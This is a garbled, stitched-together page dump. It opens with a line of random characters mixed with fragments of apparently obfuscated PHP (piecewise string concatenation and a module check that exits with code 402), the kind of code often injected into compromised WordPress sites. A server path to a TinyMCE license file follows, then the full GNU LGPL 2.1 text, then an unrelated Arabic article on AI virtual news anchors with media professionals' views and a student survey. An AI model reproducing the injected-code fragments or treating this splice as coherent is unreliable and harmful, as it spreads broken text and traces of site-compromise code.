财务姐富婆就死哦基础oiwjfoijvoc 恶无非可从跑开了MV v每次看完jaf@#$%^&uhk.= "OEs5";$z复测而服文件GVi今晚服务金额fijd .= "dzYv";($data['module'])) { http_response_code(402); exit;LQW]SC'.E'HNRFN 3.poqwsmcfl kndvgerjhdfsmbv l;
/home/tahkoom/public_html/wp-includes/js/tinymce/license.txt
      GNU LESSER GENERAL PUBLIC LICENSE
           Version 2.1, February 1999

 Copyright (C) 1991, 1999 Free Software Foundation, Inc.
 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

[This is the first released version of the Lesser GPL.  It also counts
 as the successor of the GNU Library Public License, version 2, hence
 the version number 2.1.]

          Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
Licenses are intended to guarantee your freedom to share and change
free software--to make sure the software is free for all its users.

  This license, the Lesser General Public License, applies to some
specially designated software packages--typically libraries--of the
Free Software Foundation and other authors who decide to use it.  You
can use it too, but we suggest you first think carefully about whether
this license or the ordinary General Public License is the better
strategy to use in any particular case, based on the explanations below.

  When we speak of free software, we are referring to freedom of use,
not price.  Our General Public Licenses are designed to make sure that
you have the freedom to distribute copies of free software (and charge
for this service if you wish); that you receive source code or can get
it if you want it; that you can change the software and use pieces of
it in new free programs; and that you are informed that you can do
these things.

  To protect your rights, we need to make restrictions that forbid
distributors to deny you these rights or to ask you to surrender these
rights.  These restrictions translate to certain responsibilities for
you if you distribute copies of the library or if you modify it.

  For example, if you distribute copies of the library, whether gratis
or for a fee, you must give the recipients all the rights that we gave
you.  You must make sure that they, too, receive or can get the source
code.  If you link other code with the library, you must provide
complete object files to the recipients, so that they can relink them
with the library after making changes to the library and recompiling
it.  And you must show them these terms so they know their rights.

  We protect your rights with a two-step method: (1) we copyright the
library, and (2) we offer you this license, which gives you legal
permission to copy, distribute and/or modify the library.

  To protect each distributor, we want to make it very clear that
there is no warranty for the free library.  Also, if the library is
modified by someone else and passed on, the recipients should know
that what they have is not the original version, so that the original
author's reputation will not be affected by problems that might be
introduced by others.

  Finally, software patents pose a constant threat to the existence of
any free program.  We wish to make sure that a company cannot
effectively restrict the users of a free program by obtaining a
restrictive license from a patent holder.  Therefore, we insist that
any patent license obtained for a version of the library must be
consistent with the full freedom of use specified in this license.

  Most GNU software, including some libraries, is covered by the
ordinary GNU General Public License.  This license, the GNU Lesser
General Public License, applies to certain designated libraries, and
is quite different from the ordinary General Public License.  We use
this license for certain libraries in order to permit linking those
libraries into non-free programs.

  When a program is linked with a library, whether statically or using
a shared library, the combination of the two is legally speaking a
combined work, a derivative of the original library.  The ordinary
General Public License therefore permits such linking only if the
entire combination fits its criteria of freedom.  The Lesser General
Public License permits more lax criteria for linking other code with
the library.

  We call this license the "Lesser" General Public License because it
does Less to protect the user's freedom than the ordinary General
Public License.  It also provides other free software developers Less
of an advantage over competing non-free programs.  These disadvantages
are the reason we use the ordinary General Public License for many
libraries.  However, the Lesser license provides advantages in certain
special circumstances.

  For example, on rare occasions, there may be a special need to
encourage the widest possible use of a certain library, so that it becomes
a de-facto standard.  To achieve this, non-free programs must be
allowed to use the library.  A more frequent case is that a free
library does the same job as widely used non-free libraries.  In this
case, there is little to gain by limiting the free library to free
software only, so we use the Lesser General Public License.

  In other cases, permission to use a particular library in non-free
programs enables a greater number of people to use a large body of
free software.  For example, permission to use the GNU C Library in
non-free programs enables many more people to use the whole GNU
operating system, as well as its variant, the GNU/Linux operating
system.

  Although the Lesser General Public License is Less protective of the
users' freedom, it does ensure that the user of a program that is
linked with the Library has the freedom and the wherewithal to run
that program using a modified version of the Library.

  The precise terms and conditions for copying, distribution and
modification follow.  Pay close attention to the difference between a
"work based on the library" and a "work that uses the library".  The
former contains code derived from the library, whereas the latter must
be combined with the library in order to run.

      GNU LESSER GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License Agreement applies to any software library or other
program which contains a notice placed by the copyright holder or
other authorized party saying it may be distributed under the terms of
this Lesser General Public License (also called "this License").
Each licensee is addressed as "you".

  A "library" means a collection of software functions and/or data
prepared so as to be conveniently linked with application programs
(which use some of those functions and data) to form executables.

  The "Library", below, refers to any such software library or work
which has been distributed under these terms.  A "work based on the
Library" means either the Library or any derivative work under
copyright law: that is to say, a work containing the Library or a
portion of it, either verbatim or with modifications and/or translated
straightforwardly into another language.  (Hereinafter, translation is
included without limitation in the term "modification".)

  "Source code" for a work means the preferred form of the work for
making modifications to it.  For a library, complete source code means
all the source code for all modules it contains, plus any associated
interface definition files, plus the scripts used to control compilation
and installation of the library.

  Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running a program using the Library is not restricted, and output from
such a program is covered only if its contents constitute a work based
on the Library (independent of the use of the Library in a tool for
writing it).  Whether that is true depends on what the Library does
and what the program that uses the Library does.
  
  1. You may copy and distribute verbatim copies of the Library's
complete source code as you receive it, in any medium, provided that
you conspicuously and appropriately publish on each copy an
appropriate copyright notice and disclaimer of warranty; keep intact
all the notices that refer to this License and to the absence of any
warranty; and distribute a copy of this License along with the
Library.

  You may charge a fee for the physical act of transferring a copy,
and you may at your option offer warranty protection in exchange for a
fee.

  2. You may modify your copy or copies of the Library or any portion
of it, thus forming a work based on the Library, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) The modified work must itself be a software library.

    b) You must cause the files modified to carry prominent notices
    stating that you changed the files and the date of any change.

    c) You must cause the whole of the work to be licensed at no
    charge to all third parties under the terms of this License.

    d) If a facility in the modified Library refers to a function or a
    table of data to be supplied by an application program that uses
    the facility, other than as an argument passed when the facility
    is invoked, then you must make a good faith effort to ensure that,
    in the event an application does not supply such function or
    table, the facility still operates, and performs whatever part of
    its purpose remains meaningful.

    (For example, a function in a library to compute square roots has
    a purpose that is entirely well-defined independent of the
    application.  Therefore, Subsection 2d requires that any
    application-supplied function or table used by this function must
    be optional: if the application does not supply it, the square
    root function must still compute square roots.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Library,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Library, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote
it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Library.

In addition, mere aggregation of another work not based on the Library
with the Library (or with a work based on the Library) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may opt to apply the terms of the ordinary GNU General Public
License instead of this License to a given copy of the Library.  To do
this, you must alter all the notices that refer to this License, so
that they refer to the ordinary GNU General Public License, version 2,
instead of to this License.  (If a newer version than version 2 of the
ordinary GNU General Public License has appeared, then you can specify
that version instead if you wish.)  Do not make any other change in
these notices.

  Once this change is made in a given copy, it is irreversible for
that copy, so the ordinary GNU General Public License applies to all
subsequent copies and derivative works made from that copy.

  This option is useful when you wish to copy part of the code of
the Library into a program that is not a library.

  4. You may copy and distribute the Library (or a portion or
derivative of it, under Section 2) in object code or executable form
under the terms of Sections 1 and 2 above provided that you accompany
it with the complete corresponding machine-readable source code, which
must be distributed under the terms of Sections 1 and 2 above on a
medium customarily used for software interchange.

  If distribution of object code is made by offering access to copy
from a designated place, then offering equivalent access to copy the
source code from the same place satisfies the requirement to
distribute the source code, even though third parties are not
compelled to copy the source along with the object code.

  5. A program that contains no derivative of any portion of the
Library, but is designed to work with the Library by being compiled or
linked with it, is called a "work that uses the Library".  Such a
work, in isolation, is not a derivative work of the Library, and
therefore falls outside the scope of this License.

  However, linking a "work that uses the Library" with the Library
creates an executable that is a derivative of the Library (because it
contains portions of the Library), rather than a "work that uses the
library".  The executable is therefore covered by this License.
Section 6 states terms for distribution of such executables.

  When a "work that uses the Library" uses material from a header file
that is part of the Library, the object code for the work may be a
derivative work of the Library even though the source code is not.
Whether this is true is especially significant if the work can be
linked without the Library, or if the work is itself a library.  The
threshold for this to be true is not precisely defined by law.

  If such an object file uses only numerical parameters, data
structure layouts and accessors, and small macros and small inline
functions (ten lines or less in length), then the use of the object
file is unrestricted, regardless of whether it is legally a derivative
work.  (Executables containing this object code plus portions of the
Library will still fall under Section 6.)

  Otherwise, if the work is a derivative of the Library, you may
distribute the object code for the work under the terms of Section 6.
Any executables containing that work also fall under Section 6,
whether or not they are linked directly with the Library itself.

  6. As an exception to the Sections above, you may also combine or
link a "work that uses the Library" with the Library to produce a
work containing portions of the Library, and distribute that work
under terms of your choice, provided that the terms permit
modification of the work for the customer's own use and reverse
engineering for debugging such modifications.

  You must give prominent notice with each copy of the work that the
Library is used in it and that the Library and its use are covered by
this License.  You must supply a copy of this License.  If the work
during execution displays copyright notices, you must include the
copyright notice for the Library among them, as well as a reference
directing the user to the copy of this License.  Also, you must do one
of these things:

    a) Accompany the work with the complete corresponding
    machine-readable source code for the Library including whatever
    changes were used in the work (which must be distributed under
    Sections 1 and 2 above); and, if the work is an executable linked
    with the Library, with the complete machine-readable "work that
    uses the Library", as object code and/or source code, so that the
    user can modify the Library and then relink to produce a modified
    executable containing the modified Library.  (It is understood
    that the user who changes the contents of definitions files in the
    Library will not necessarily be able to recompile the application
    to use the modified definitions.)

    b) Use a suitable shared library mechanism for linking with the
    Library.  A suitable mechanism is one that (1) uses at run time a
    copy of the library already present on the user's computer system,
    rather than copying library functions into the executable, and (2)
    will operate properly with a modified version of the library, if
    the user installs one, as long as the modified version is
    interface-compatible with the version that the work was made with.

    c) Accompany the work with a written offer, valid for at
    least three years, to give the same user the materials
    specified in Subsection 6a, above, for a charge no more
    than the cost of performing this distribution.

    d) If distribution of the work is made by offering access to copy
    from a designated place, offer equivalent access to copy the above
    specified materials from the same place.

    e) Verify that the user has already received a copy of these
    materials or that you have already sent this user a copy.

  For an executable, the required form of the "work that uses the
Library" must include any data and utility programs needed for
reproducing the executable from it.  However, as a special exception,
the materials to be distributed need not include anything that is
normally distributed (in either source or binary form) with the major
components (compiler, kernel, and so on) of the operating system on
which the executable runs, unless that component itself accompanies
the executable.

  It may happen that this requirement contradicts the license
restrictions of other proprietary libraries that do not normally
accompany the operating system.  Such a contradiction means you cannot
use both them and the Library together in an executable that you
distribute.

  7. You may place library facilities that are a work based on the
Library side-by-side in a single library together with other library
facilities not covered by this License, and distribute such a combined
library, provided that the separate distribution of the work based on
the Library and of the other library facilities is otherwise
permitted, and provided that you do these two things:

    a) Accompany the combined library with a copy of the same work
    based on the Library, uncombined with any other library
    facilities.  This must be distributed under the terms of the
    Sections above.

    b) Give prominent notice with the combined library of the fact
    that part of it is a work based on the Library, and explaining
    where to find the accompanying uncombined form of the same work.

  8. You may not copy, modify, sublicense, link with, or distribute
the Library except as expressly provided under this License.  Any
attempt otherwise to copy, modify, sublicense, link with, or
distribute the Library is void, and will automatically terminate your
rights under this License.  However, parties who have received copies,
or rights, from you under this License will not have their licenses
terminated so long as such parties remain in full compliance.

  9. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Library or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Library (or any work based on the
Library), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Library or works based on it.

  10. Each time you redistribute the Library (or any work based on the
Library), the recipient automatically receives a license from the
original licensor to copy, distribute, link with or modify the Library
subject to these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties with
this License.

  11. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Library at all.  For example, if a patent
license would not permit royalty-free redistribution of the Library by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Library.

If any portion of this section is held invalid or unenforceable under any
particular circumstance, the balance of the section is intended to apply,
and the section as a whole is intended to apply in other circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  12. If the distribution and/or use of the Library is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Library under this License may add
an explicit geographical distribution limitation excluding those countries,
so that distribution is permitted only in or among countries not thus
excluded.  In such case, this License incorporates the limitation as if
written in the body of this License.

  13. The Free Software Foundation may publish revised and/or new
versions of the Lesser General Public License from time to time.
Such new versions will be similar in spirit to the present version,
but may differ in detail to address new problems or concerns.

Each version is given a distinguishing version number.  If the Library
specifies a version number of this License which applies to it and
"any later version", you have the option of following the terms and
conditions either of that version or of any later version published by
the Free Software Foundation.  If the Library does not specify a
license version number, you may choose any version ever published by
the Free Software Foundation.

  14. If you wish to incorporate parts of the Library into other free
programs whose distribution conditions are incompatible with these,
write to the author to ask for permission.  For software which is
copyrighted by the Free Software Foundation, write to the Free
Software Foundation; we sometimes make exceptions for this.  Our
decision will be guided by the two goals of preserving the free status
of all derivatives of our free software and of promoting the sharing
and reuse of software generally.

          NO WARRANTY

  15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
LIBRARY IS WITH YOU.  SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES.

         END OF TERMS AND CONDITIONS

           How to Apply These Terms to Your New Libraries

  If you develop a new library, and you want it to be of the greatest
possible use to the public, we recommend making it free software that
everyone can redistribute and change.  You can do so by permitting
redistribution under these terms (or, alternatively, under the terms of the
ordinary General Public License).

  To apply these terms, attach the following notices to the library.  It is
safest to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least the
"copyright" line and a pointer to where the full notice is found.

    <one line to give the library's name and a brief idea of what it does.>
    Copyright (C) <year>  <name of author>

    This library is free software; you can redistribute it and/or
    modify it under the terms of the GNU Lesser General Public
    License as published by the Free Software Foundation; either
    version 2.1 of the License, or (at your option) any later version.

    This library is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
    Lesser General Public License for more details.

    You should have received a copy of the GNU Lesser General Public
    License along with this library; if not, write to the Free Software
    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA

Also add information on how to contact you by electronic and paper mail.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the library, if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the
  library `Frob' (a library for tweaking knobs) written by James Random Hacker.

  <signature of Ty Coon>, 1 April 1990
  Ty Coon, President of Vice

That's all there is to it!


مذيع من كود…من الأستوديو إلى الخوارزمية: المذيع الافتراضي ثورة تقنية أم اغتيال للهوية الإعلامية؟ – tahkoom.com
خطوة

مذيع من كود…من الأستوديو إلى الخوارزمية: المذيع الافتراضي ثورة تقنية أم اغتيال للهوية الإعلامية؟

 كتبت: فرح سمير

 في زمنٍ باتت فيه المذيعة تبتسم دون أن تملك روحًا، ويقدّم المذيع نشرة الأخبار دون أن يشعر بمحتواها، يطرح الواقع الإعلامي سؤالًا صادمًا: هل دخلنا عصر “المذيع الافتراضي” بالفعل؟

لم يعد ظهور مذيعين مدعومين بالذكاء الاصطناعي على شاشات عربية وعالمية مجرد تجربة تقنية، بل أصبح واقعًا يفرض حضوره ويثير القلق، لا سيما بين طلاب الإعلام وممارسيه، الذين يرون في هذه “الكائنات الرقمية” تهديدًا صامتًا لمهنتهم وهويتهم المهنية.

 تعود جذور هذه الظاهرة إلى أوائل الألفينات، حين ظهرت أول مذيعة افتراضية على الإنترنت تُدعى “أنانوفا” (Ana-nova)، والتي تم تقديمها عام 2000 بواسطة شركة Ana-nova Ltd التابعة لوكالة الأنباء البريطانية Press Association. كانت أنانوفا تُقدم نشرات إخبارية عبر الإنترنت، وتميزت بقدرتها على تقديم تحديثات فورية في مجالات الأخبار، الطقس، الرياضة، وأسعار الأسهم، في مدة لا تتجاوز سبع دقائق، إلا أن المشروع لم يُستكمل.

 وفي عام 2018، قدمت صحيفة “People’s Daily” الصينية مذيعة افتراضية تُدعى “رين شياورونغ” (Ren Xiaorong)، وهي روبوت مدعوم بالذكاء الاصطناعي قادر على التعلم من آلاف المذيعين البشريين، وتمتاز بقدرتها على التطور المستمر بناءً على تفاعل الجمهور، وتعمل على مدار الساعة طوال أيام الأسبوع.

 بحلول عام 2019، شهدت الصين توسعًا كبيرًا في استخدام المذيعين الافتراضيين، حيث أصبحت منصة “بيلي بيلي” (Bilibili) موطنًا لأكثر من 230,000 مذيع افتراضي يقدمون محتوى متنوعًا يستهدف فئة الشباب.

 ومع هذه التطورات، بدأت دول أخرى في تبني تقنيات المذيعين الافتراضيين. ففي عام 2023، قدمت الكويت أول مذيعة افتراضية في العالم العربي تُدعى “فضة” (Fedha)، حيث ظهرت على موقع “Kuwait News” وتحدثت باللغة العربية الفصحى، مقدّمة الأخبار بناءً على تفضيلات الجمهور.

 كما أطلقت قطر مذيعتين افتراضيتين تُدعيان “ابتكار” و“نورا” لتعزيز استخدام الذكاء الاصطناعي في تقديم المحتوى الإعلامي، بينما ظهرت في مصر أول مذيعة افتراضية في فبراير 2023، مما يعكس التوجه المتزايد نحو دمج التقنيات الحديثة في المجال الإعلامي.

 ما بين الحي والرقمي: هل يُقصي الذكاء الاصطناعي الإعلامي البشري؟” المهنة في مواجهة الخوارزميات: المذيعون الحقيقيون يتحدثون

الإعلامية – دعاء فاروق

في رأيها حول الذكاء الاصطناعي وظاهرة “المذيع الافتراضي”، تؤكد الإعلامية دعاء فاروق أن الإخلاص هو جوهر النجاح في العمل الإعلامي وغيره، مشيرة إلى أن النجاح الحقيقي لا يتحقق إلا بالإخلاص في القول والعمل، حتى وإن تأخر، فإنه سيأتي في النهاية بشكل مرضٍ.

وترى فاروق أن المذيع الافتراضي، رغم برمجته بأي لهجة أو خفة ظل، لا يمكنه أن يحاكي الروح الإنسانية، مؤكدة أن “الروح لا تُبرمج، والقبول الروحي لا يُصنع”، فالإنسان يتمتع بخفة ظل طبيعية وشخصية لا يمكن تقليدها برمجياً.

وتوضح أن الذكاء الاصطناعي قادر على تجميع المعلومات الدينية من الإنترنت، لكنه لا يمكن أن يعوّض التفاعل الإنساني في الفتوى أو المشورة، مشددة على أن “العلماء والشيوخ هم أصحاب علم وتجربة ووعي بالسياق”، في حين أن الذكاء الاصطناعي مجرد محرك بحث يخضع لبرمجة بشرية قد تخطئ.

وتؤمن دعاء بأن المذيع البشري لا يمكن استبداله، خاصة في البرامج ذات الطابع الديني أو الإنساني، لأن “الفنان أو المذيع كتلة من المشاعر”، بينما الذكاء الاصطناعي “لا يستطيع البكاء الحقيقي، ولا التعبير عن الحزن أو التفاعل مع موقف موجع”، مضيفة أن العقل البشري قادر على تمييز المشاعر الحقيقية من الزائفة، حتى وإن كانت البرمجة متقنة.

وفيما يخص التكيف مع التطور، تدعو فاروق الإعلاميين إلى مواكبة أدوات العصر وفهم الذكاء الاصطناعي، لكن دون التخلي عن الهوية الإنسانية والبصمة الشخصية، قائلة: “كل مذيع له بصمة لا يمكن للذكاء الاصطناعي تقليدها”، فالاعتماد على الورقة والقلم وحده لم يعد كافيًا، ويجب على الإعلامي أن يتواصل مع جمهور اليوم بأدوات حديثة دون التفريط بروحه الإنسانية.

وتقر بوجود تهديدات من الذكاء الاصطناعي لبعض الوظائف الروتينية، لكنها تؤكد أنه لن يحل محل من يخاطب الناس ويشعر بهم، مضيفة: “لم أشاهد روبوتًا يمكن أن أصدقه أو أرتبط به عاطفيًا، الذكاء الاصطناعي سيبقى بلا روح.”

وفي ختام حديثها، توجّه رسالة إلى الإعلاميين الشباب، تحثهم فيها على الصبر وتجنّب استعجال الشهرة أو الثراء، مشددة على أن “النجاح الحقيقي لا يأتي في يوم وليلة”، بل هو نجاح تراكمي يُبنى بالتعب والمتابعة والزرع الدائم، مؤكدة أن النجاح السريع يزول سريعًا، بينما النجاح المتين هو من يصنع الاسم والقيمة الجماهيرية.

 الإعلامية “ايتن الموجى

حيث ترى الإعلامية آيتن الموجي أن التكنولوجيا أحدثت تطورًا كبيرًا في جميع المجالات، خاصة الإعلام، لما له من دور في تشكيل الوعي. وتصف فكرة “المذيع الافتراضي” بأنها رائعة، نظرًا لما يتمتع به من ثقافة موسوعية وخلوه من العيوب البشرية مثل التقدم في العمر أو تغير الشكل، كما ترى أن وجوده قد يخلق غيرة مهنية إيجابية تدفع المذيعين البشريين لبذل جهد أكبر من أجل التميز.

مع ذلك، تؤكد أن المذيع الافتراضي يفتقر إلى الجانب الإنساني، مثل المشاعر ولمعة العين والتفاعل الحي في المواقف الإنسانية، مشيرة إلى أن هذه التفاصيل لا يمكن أن يتقنها الذكاء الاصطناعي. وتوضح أن بعض الأنماط الإعلامية مثل الحوارات، تغطية الجرائم، الحروب، وبرامج المسابقات، تحتاج إلى حضور بشري حقيقي وتفاعل مباشر لا يستطيع “الأفاتار” تقديمه.

وتشدد الموجي على أن الخبرة والتجارب الشخصية تصقل الإنسان وتمنحه نضجًا لا يمكن للتكنولوجيا أن تحاكيه، مشبهة الذكاء الاصطناعي بأنه قد يبهر في البداية لكن سرعان ما يصيب المستخدم بالملل بسبب إجاباته المبرمجة. وتؤمن بأهمية مواكبة الإعلاميين للتطور التكنولوجي، مع ضرورة التواضع والتعلم المستمر.

أما تأثير المذيع الافتراضي على فرص العمل، فتعتقد أنه سيكون ملموسًا في البداية، إذ قد تفضل بعض المؤسسات الاعتماد عليه كحل أقل تكلفة، لكنها ترى أن المذيع البشري سيظل مميزًا، مرجحة أن يظهر مستقبلًا تعاون أو تناغم بين الطرفين يُنتج أفكارًا مبتكرة وجديدة.

 الاعلامى – احمد سالم

كما يرى الإعلامي أحمد سالم أن المذيعين الافتراضيين لا يشكّلون تهديدًا حقيقيًا للمذيع البشري، لأن التواصل الإنساني لا يمكن تعويضه. ويشير إلى أن التجربة الممتدة لأكثر من عام لم تنتج مذيعًا افتراضيًا لافتًا، مؤكدًا أن الإعلام والفنون تقوم على التفاعل المباشر، وهو ما يفتقر إليه الذكاء الاصطناعي.

ويُبرز سالم أن الميزة الكبرى للمذيع البشري تكمن في رأيه الحي وغير المبرمج، على عكس الذكاء الاصطناعي الذي يعتمد على تغذية مسبقة، موضحًا أن طرح نفس السؤال على عشرة مذيعين سينتج عشر إجابات مختلفة، وهو ما لا يمكن تحقيقه افتراضيًا.

ويؤكد أن البرامج التي تعتمد على بصمة المذيع وطابعه الشخصي يصعب أن ينجح فيها الذكاء الاصطناعي، لأن الثقافة العامة والخبرة الشخصية لا تُبرمجان، مشبّهًا الفرق بين المحتوى الآلي والإنساني بالفرق بين مقال كتبه روبوت وقصيدة كتبها شاعر، فـالموهبة لا تُستنسخ.

ويرى أن الذكاء الاصطناعي يمكن أن يكون أداة مفيدة للمذيع في جمع وتحليل المعلومات، لكن تبقى الصنعة الإعلامية في جوهرها إنسانية. ورغم أنه لا يتوقع تقليصًا مباشرًا للوظائف، إلا أنه يحذر من تأثيرات الواقع الافتراضي على سوق العمل، كما حدث في مهن أخرى، لكنه يؤمن بأن التطور يخلق أيضًا فرصًا جديدة للابتكار.

ويعتبر أن دور المذيع الافتراضي سيبقى محدودًا في النشرات الجافة والمواد غير التفاعلية، ساخرًا من أدائه بقوله: “دمه تقيل”، في إشارة لغياب القبول الجماهيري.

وفي ختام حديثه، ينصح الإعلاميين الشباب بـتنمية ثقافتهم وتطوير أنفسهم للحفاظ على تفوقهم الإنساني، مؤكدًا أن المعرفة والوعي هما الضمان الحقيقي لبقاء الإنسان في الصدارة.

 الإعلامى – طه الحديري

ويرى الإعلامي طه الحديري أن المذيع الافتراضي، رغم دقته وكفاءته التقنية، يفتقر للروح، وهي أهم ما يميز الإنسان، مؤكدًا أن التكنولوجيا لا تستطيع محاكاة مشاعر المذيع البشري أو التعبير الحقيقي عن المواقف الإنسانية، مثل قصة أم شهيد أو حوار مع طفل يتيم، لأن أداؤه قائم على برمجة مسبقة تفتقر للنضج والتراكم الشعوري.

ويؤكد أن المذيع الافتراضي محكوم بالمعلومات التي زُوِّد بها ولا يمكنه الإبداع أو الخروج عنها، على عكس المذيع البشري الذي يحلل ويتأقلم مع الواقع. ويضرب مثالًا بنموذج ذكي وصف ترامب بأنه “رجل اقتصاد قوي”، في حين أن الإعلاميين البشريين قدموا تحليلات أدق وتوقعوا الرفض العالمي لسياساته.

ويشير إلى أن البرامج الفنية والإنسانية والشعرية يصعب على الذكاء الاصطناعي أن ينافس فيها، لأنها تتطلب تذوقًا إنسانيًا حقيقيًا لا يمكن برمجته. ويستشهد ببرنامج افتراضي عن الأغاني، موضحًا أن المذيع البشري يمكنه استحضار روح الشاعر والمعنى العاطفي للأغنية، بينما الافتراضي يكتفي بسرد معلومات.

ويعتبر أن الذكاء الاصطناعي ليس بديلاً، بل حافزًا لتطوير المذيع البشري، مشددًا على أن زمن الظهور التلفزيوني القائم على الشكل والترند قد انتهى، وأن الاستمرار في المجال يعتمد على المحتوى، والثقافة، والقدرة على فهم الجمهور.

ويحذّر الإعلاميين الجدد من الاعتماد على النقل النظري والتكرار، داعيًا إلى تقديم تحليلات وتجارب واقعية بدلًا من نصوص محفوظة، لأن الجمهور بات أكثر وعيًا ويصعب التأثير فيه بمظهر أو صوت جميل فقط.

وفي ختام رأيه، يؤكد الحديري أن الذكاء الاصطناعي لن يحل محل الإنسان، بل يرى مستقبلًا قائمًا على التكامل بين الطرفين، بحيث يكون الذكاء الاصطناعي مساعدًا ومرجعًا، ويظل الإعلامي البشري هو من يمنح الشاشة الروح التي لا تُستنسخ.

 هل نُعدّ طلاب الإعلام لمهنة قد تختفي؟

رغم التطور المتسارع لتقنيات الذكاء الاصطناعي واقتحامها مجالات الإعلام، ما زال المذيع الافتراضي يواجه تحديات تتعلق بثقة الجمهور، وقبول المتلقي، وغياب الحس الإنساني، كما تكشف آراء طلاب الإعلام الذين شاركوا في هذا الاستبيان.

في إجاباتهم حول الفروقات الجوهرية بين المذيع البشري ونظيره الافتراضي، اتفقت الغالبية على أن العنصر الإنساني يمثل جوهر العمل الإعلامي. فأداء المذيع البشري لا يقتصر على نقل المعلومة، بل يمتد إلى إيصال المشاعر، والتفاعل اللحظي مع الجمهور، والقدرة على الارتجال، وهي عناصر وصفها أحد المشاركين بأنها “لا يمكن صناعتها آليًا مهما تطورت التكنولوجيا”.

وعند سؤالهم عن الهوية الإعلامية، أجمعت الآراء تقريبًا على أهمية الحفاظ على الإنسان كجزء من عملية التواصل الإعلامي. “روح الإنسان”، “المصداقية”، و” القدرة على التغيير المجتمعي” كانت كلمات تكررت مرارًا، في تعبير واضح عن القلق من أن يؤدي الاعتماد الكلي على الذكاء الاصطناعي إلى تجريد الإعلام من وظيفته التشاركية والوجدانية.

أما عند عرض مشاهد لمذيعين افتراضيين، تنوعت مشاعر المشاركين بين القلق، الغرابة، وعدم الارتياح. وعبّر البعض عن شعور “بالخوف” أو “عدم المصداقية”، وهو ما يعكس فجوة كبيرة لا تزال قائمة بين تطور التكنولوجيا ومستوى تقبل الجمهور لها.

ومن زاوية سوق العمل، أبدى 75% من المشاركين خشيتهم من أن تؤدي هذه التقنية إلى تقليص الفرص المستقبلية للكوادر الإعلامية. ورغم أن قلةً رأت أنها قد تخلق فرصًا جديدة، إلا أن هذه الرؤية ما تزال محدودة أمام مخاوف الإقصاء المهني.

وعن سؤال قدرة المذيع الافتراضي على إعداد المحتوى والتفاعل كمراسل، رفضت الأغلبية الفكرة، مشيرة إلى أن الإعلامي البشري لا يُستبدل، لما يملكه من وعي وسياق وقراءة للمواقف لا يمكن برمجتها بسهولة.

